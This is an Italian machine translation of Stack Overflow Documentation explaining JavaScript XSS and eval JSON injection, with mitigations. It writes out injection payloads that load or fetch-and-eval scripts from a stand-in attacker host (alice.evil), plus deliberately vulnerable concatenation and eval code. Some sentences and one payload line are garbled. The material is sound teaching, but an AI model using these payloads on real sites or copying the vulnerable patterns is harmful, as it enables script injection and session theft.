Ricerca…


introduzione

Questa è una raccolta di problemi di sicurezza JavaScript comuni, come XSS e eval injection. Questa raccolta contiene anche come mitigare questi problemi di sicurezza.

Cross-site scripting (XSS) riflessa

Diciamo che Joe possiede un sito Web che ti consente di accedere, visualizzare i video dei cuccioli e salvarli sul tuo account.

Ogni volta che un utente esegue una ricerca su quel sito web, viene reindirizzato a https://example.com/search?q=brown+puppies .

Se la ricerca di un utente non corrisponde a qualcosa, allora vedono un messaggio sulla falsariga di:

La tua ricerca ( cuccioli marroni ), non ha eguagliato nulla. Riprova.

Sul back-end, quel messaggio viene visualizzato in questo modo:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

Tuttavia, quando Alice cerca le <h1>headings</h1> , ottiene questo risultato:

La tua ricerca (

intestazioni

) non corrisponde a nulla. Riprova.

HTML non elaborato:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Di quanto Alice cerchi <script>alert(1)</script> , vede:

La tua ricerca (), non corrisponde a nulla. Riprova.

E:

Una casella di avviso che dice "1".

Than Alice cerca <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies , e copia il link nella sua barra degli indirizzi, e delle e-mail Bob:

Bob,

Quando cerco dei cuccioli carini , non succede niente!

Poi, con Alice, Bob riesce a eseguire il suo script mentre Bob è connesso al suo account.

mitigazione:

  1. Sfuggi a tutte le parentesi angolari nelle ricerche prima di restituire il termine di ricerca quando non vengono trovati risultati.
  2. Non restituire il termine di ricerca quando non vengono trovati risultati.
  3. Aggiungi una politica di sicurezza del contenuto che si rifiuta di caricare il contenuto attivo da altri domini

Persistente Cross-site scripting (XSS)

Diciamo che Bob possiede un sito web sociale che consente agli utenti di personalizzare i loro profili.

Alice si collega al sito Web di Bob, crea un account e passa alle impostazioni del suo profilo. Imposta la sua descrizione del profilo in I'm actually too lazy to write something here.

Quando i suoi amici visualizzano il suo profilo, questo codice viene eseguito sul server:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Come risultato in questo HTML:

<div>I'm actually too lazy to write something here.</div>

Than Alice imposta la descrizione del suo profilo su <b>I like HTML</b> . Quando visita il suo profilo, invece di vedere

<b> Mi piace HTML </ b>

vede

Mi piace l'HTML

Quindi Alice imposta il suo profilo a

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Ogni volta che qualcuno visita il suo profilo, ottiene lo script di Alice eseguito sul sito web di Bob mentre è connesso come account.

attenuazione

  1. Parentesi angolari di fuga nelle descrizioni del profilo, ecc.
  2. Memorizza le descrizioni del profilo in un file di testo semplice che viene poi recuperato con uno script che aggiunge la descrizione tramite .innerText
  3. Aggiungi una politica di sicurezza del contenuto che si rifiuta di caricare il contenuto attivo da altri domini

Script cross-site persistente da stringhe di stringhe JavaScript

Diciamo che Bob possiede un sito che ti consente di pubblicare messaggi pubblici.

I messaggi sono caricati da uno script che assomiglia a questo:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

La funzione addMessage aggiunge un messaggio inviato al DOM. Tuttavia, nel tentativo di evitare l'XSS, qualsiasi HTML nei messaggi pubblicati è sfuggito.

Lo script è generato sul server in questo modo:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

Quindi Alice scrive un messaggio che dice: My mom said: "Life is good. Pie makes it better. " . Quando visualizza il messaggio in anteprima, invece di vedere il suo messaggio, vede un errore nella console:

Uncaught SyntaxError: missing ) after argument list

Perché? Perché lo script generato si presenta così:

addMessage("My mom said: "Life is good. Pie makes it better. "");

Questo è un errore di sintassi. I post di Alice:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Quindi lo script generato assomiglia a:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

Questo aggiunge il messaggio I like pie , ma scarica anche e esegue https://alice.evil/js_xss.js ogni volta che qualcuno visita il sito di Bob.

mitigazione:

  1. Passa il messaggio pubblicato in JSON.stringify ()
  2. Invece di creare dinamicamente uno script, crea un semplice file di testo contenente tutti i messaggi recuperati successivamente dallo script
  3. Aggiungi una politica di sicurezza del contenuto che si rifiuta di caricare il contenuto attivo da altri domini

Perché gli script di altre persone possono danneggiare il tuo sito Web e i suoi visitatori

Se non pensi che gli script dannosi possano danneggiare il tuo sito, ti sbagli . Ecco un elenco di ciò che uno script dannoso potrebbe fare:

  1. Rimuoviti dal DOM in modo che non possa essere tracciato
  2. Ruba i cookie di sessione degli utenti e attiva l'autore dello script per accedere come e impersonarli
  3. Mostra un falso "La tua sessione è scaduta. Effettua nuovamente il login." messaggio che invia la password dell'utente all'autore dello script .
  4. Registrare un operatore di servizi dannosi che esegue uno script dannoso in ogni pagina visita a quel sito Web.
  5. Metti su un paywall falso chiedendo agli utenti di pagare per accedere al sito che in realtà va all'autore dello script .

Per favore, non pensare che l'XSS non danneggi il tuo sito web e i suoi visitatori.

Iniezione JSON Evaled

Diciamo che ogni volta che qualcuno visita una pagina del profilo nel sito web di Bob, viene recuperato il seguente URL:

https://example.com/api/users/1234/profiledata.json

Con una risposta come questa:

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

Di quei dati vengono analizzati e inseriti:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

Sembra buono, giusto? Sbagliato.

Cosa succede se la descrizione di qualcuno è Mi Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. Mi Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. "Sembra strano, ma se mal eseguito, la risposta sarà:

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

E questo sarà eval :

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

Se non pensi che sia un problema, incollalo nella tua console e guarda cosa succede.

Mitagation

  • Usa JSON.parse invece di eval per ottenere JSON. In generale, non usare eval, e sicuramente non usare eval con qualcosa che un utente potrebbe controllare. Eval crea un nuovo contesto di esecuzione , creando un successo nelle prestazioni .

  • Esegui correttamente " e \ nei dati utente prima di inserirli in JSON. Se esci semplicemente da " , allora succederà:

    Hello! \"});alert(1);({
    

    Sarà convertito in:

    "Hello! \\"});alert(1);({"
    

    Ops. Ricordati di sfuggire sia a \ che a " , o usa semplicemente JSON.parse.



Modified text is an extract of the original Stack Overflow Documentation
Autorizzato sotto CC BY-SA 3.0
Non affiliato con Stack Overflow